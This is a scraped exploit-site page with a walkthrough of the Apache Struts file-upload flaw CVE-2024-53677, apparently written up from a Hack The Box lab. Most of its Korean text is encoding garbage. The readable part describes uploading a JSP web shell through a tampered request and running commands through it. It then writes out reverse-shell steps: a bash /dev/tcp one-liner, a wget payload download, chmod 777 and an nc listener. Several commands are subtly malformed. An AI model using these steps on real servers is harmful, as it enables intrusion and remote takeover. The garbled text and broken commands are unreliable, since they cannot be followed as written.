## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HOPSYPOPSY8-CVE-2024-53677-EXPLOITATION
# CVE-2024-53677 μ΅μ€νλ‘μ
### νμΌ μ
λ‘λλ₯Ό ν΅ν Apache Struts RCE
## μ€λͺ
CVE-2024-53677μ Apache Struts 2.0.0λΆν° 6.4.0 μ΄μ λ²μ μ μν₯μ λ―ΈμΉλ μ·¨μ½μ μ
λλ€. **β οΈ μ΄ μ·¨μ½μ μ Hack The Box λ©μμ μ
μ©λμμ΅λλ€.**
Apache Strutsμ νμΌ μ
λ‘λ λ‘μ§μλ κ²°ν¨μ΄ μμ΅λλ€. 곡격μλ νμΌ μ
λ‘λ νλΌλ―Έν°λ₯Ό μ‘°μνμ¬ κ²½λ‘ νμμ κ°λ₯νκ² ν μ μμΌλ©°, νΉμ μν©μμλ μ격 μ½λ μ€ν(RCE)μ μννλ λ° μ¬μ©ν μ μλ μ
μ± νμΌμ μ
λ‘λν μ μμ΅λλ€. π **μ°Έμ‘°:** NIST NVD νλͺ©
## μ μ°°
### **곡격 λ²‘ν° μλ³**

1. μΉμ¬μ΄νΈμλ **μ΄λ―Έμ§ μ
λ‘λ** κΈ°λ₯μ΄ μμ΅λλ€.
2. μ
λ‘λλ νμΌμ ip/uploads/20250213_014317/starwars.pngμ μ μ₯λ©λλ€.
3. μ
λ‘λμ μ±κ³΅νλ©΄ μ΄λ―Έμ§μ 곡μ λ§ν¬ URLμ ip/s/04ab2f40μ
λλ€.
4. Apache Struts λ²μ νμΈ
* λ
ΈμΆλ `pom.xml`μμ **Apache Struts 6.3.0.1** νμΈ
* **CVE-2024-53677** μ μ·¨μ½ν κ²μΌλ‘ νμΈλ¨
πΈ **pom.xml λ
ΈμΆ:**

## μ΅μ€νλ‘μ
### **νμΌ μ
λ‘λ μμ² λ³μ‘°**
μ΄ μ·¨μ½μ μ μ
μ©νκΈ° μν΄ **BurpSuite** μ **Repeater** κΈ°λ₯μ μ¬μ©νμ¬ μ μ‘νκΈ° μ μ ν¨ν·μ λ³μ‘°ν©λλ€. μλμλ μμ λμ§ μμ μμ²μ΄ μμ΅λλ€.

μ°λ¦¬κ° μ§λ©΄ν λ¬Έμ λ μ¬μ΄νΈκ° **[JPG, JPEG, PNG, GIF]** μΈμ νμΌ μ νμ **μ°¨λ¨** νκ³ /uploads λλ ν°λ¦¬μ λͺ¨λ νμΌμ **μ€νν μ μλ€** λ μ μ
λλ€. μ΄λ¬ν λ¬Έμ λ₯Ό μ°ννκΈ° μν΄ λ¨Όμ λ€λ₯Έ νλΌλ―Έν°λ₯Ό μΆκ°ν©λλ€.

μΆκ°λ νλΌλ―Έν°λ Apache Strutsκ° μ
λ ₯ λ°μ΄ν°λ₯Ό μ²λ¦¬νλ λ° μ¬μ©νλ OGNL(Object-Graph Navigation Language)μ μ
μ©ν©λλ€. FileUploadInterceptorλ μ€μ PNG μ΄λ―Έμ§λ₯Ό μ²λ¦¬νκΈ° μ μ μ΄ νλΌλ―Έν°λ₯Ό μ²λ¦¬νλ―λ‘, 곡격μκ° μμ²μ μ‘°μνκ³ μ μ¬μ μΌλ‘ μμ μ½λλ₯Ό μ€νν μ μμ΅λλ€.
### **μ΅μ€νλ‘μ λ§λ¬΄λ¦¬**
μμ λ νλΌλ―Έν°λ₯Ό μΆκ°ν ν μλ² μλ΅μ νμΌμ΄ μ±κ³΅μ μΌλ‘ μ
λ‘λλμμμ νμΈν©λλ€. κ·Έλ¬λ νμΌ κ²½λ‘κ° μΌλ°μ μΈ μ
λ‘λ λλ ν°λ¦¬μ λ€λ₯΄λ€λ κ²μ νμΈν μ μμ΅λλ€.

#### **νμ΄λ‘λ 첨λΆ**
λ€μμΌλ‘, μ΄λ―Έμ§ λ°μ΄ν° λ°λ‘ μλμ΄μ μ½μ
λ νλΌλ―Έν° λ°λ‘ μμ νμ΄λ‘λλ₯Ό μΆκ°νμ¬ μλ² λν©λλ€. μ
Έ νμ΄λ‘λλ π **μ°Έμ‘°:** shell.jspμμ μ»μ μ μμ΅λλ€. λν μ€μν μΈλΆ μ¬ν νλλ μμ²μ μλ¬Έμ upload λμ λλ¬Έμ Uκ° ν¬ν¨λ "Upload"κ° νμνλ€λ μ μ
λλ€. μ΄λ π **μ°Έμ‘°:** exploit.pyμμ νμΈλ μ΅μ€νλ‘μ ꡬ쑰λ₯Ό λ°λ¦
λλ€.
μ΄λ¬ν μμ μ μ μ©ν ν μμ²μ μ μ‘ν©λλ€. μλ²λ μ μ¬νκ² μλ΅νλ©° μ±κ³΅μ μΈ μ
λ‘λλ₯Ό νμΈνκ³ μ‘°μ λ νμΌ κ²½λ‘λ₯Ό λ°μν©λλ€.
#### **μ΅μ€νλ‘μ νμ**
μ΄μ λ€μ URLλ‘ μ΄λνλ©΄ μ
λ‘λλ μ
Έκ³Ό μνΈ μμ©ν μ μμ΅λλ€.
root@kitploit:~
ip/shelll.jsp?action=cmd&cmd=id

μ΄ λ¨κ³μμλ λ‘컬μμ νΈμ€ν
λλ μΉ μλ²λ₯Ό μ¬μ©νμ¬ λ¦¬λ²μ€ μ
Έμ ꡬμΆν μ μμ΅λλ€. κ°λ¨ν λ°©λ²μ Pythonμ μ¬μ©νλ κ²μ
λλ€: python3 http.server -m 3004
λ€μμΌλ‘, κΈ°λ³Έ μ
Έ μ€ν¬λ¦½νΈ(μ: shell.sh)λ₯Ό μμ±ν©λλ€. cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
wgetμ μ¬μ©νμ¬ λ€μ΄λ‘λν©λλ€. wget http://ip_address/filename -O /tmp
λ€μ΄λ‘λ ν μ€ν κΆνμ λΆμ¬ν©λλ€. chmod +777 /tmp/filename
κ·Έλ° λ€μ nc(λ·μΊ£)μ μ¬μ©νμ¬ λ¦¬λ²μ€ μ
Έμ μμ λκΈ°ν©λλ€. nc -lvnp $PORT
λ§μ§λ§μΌλ‘ μ€νν©λλ€. ./filename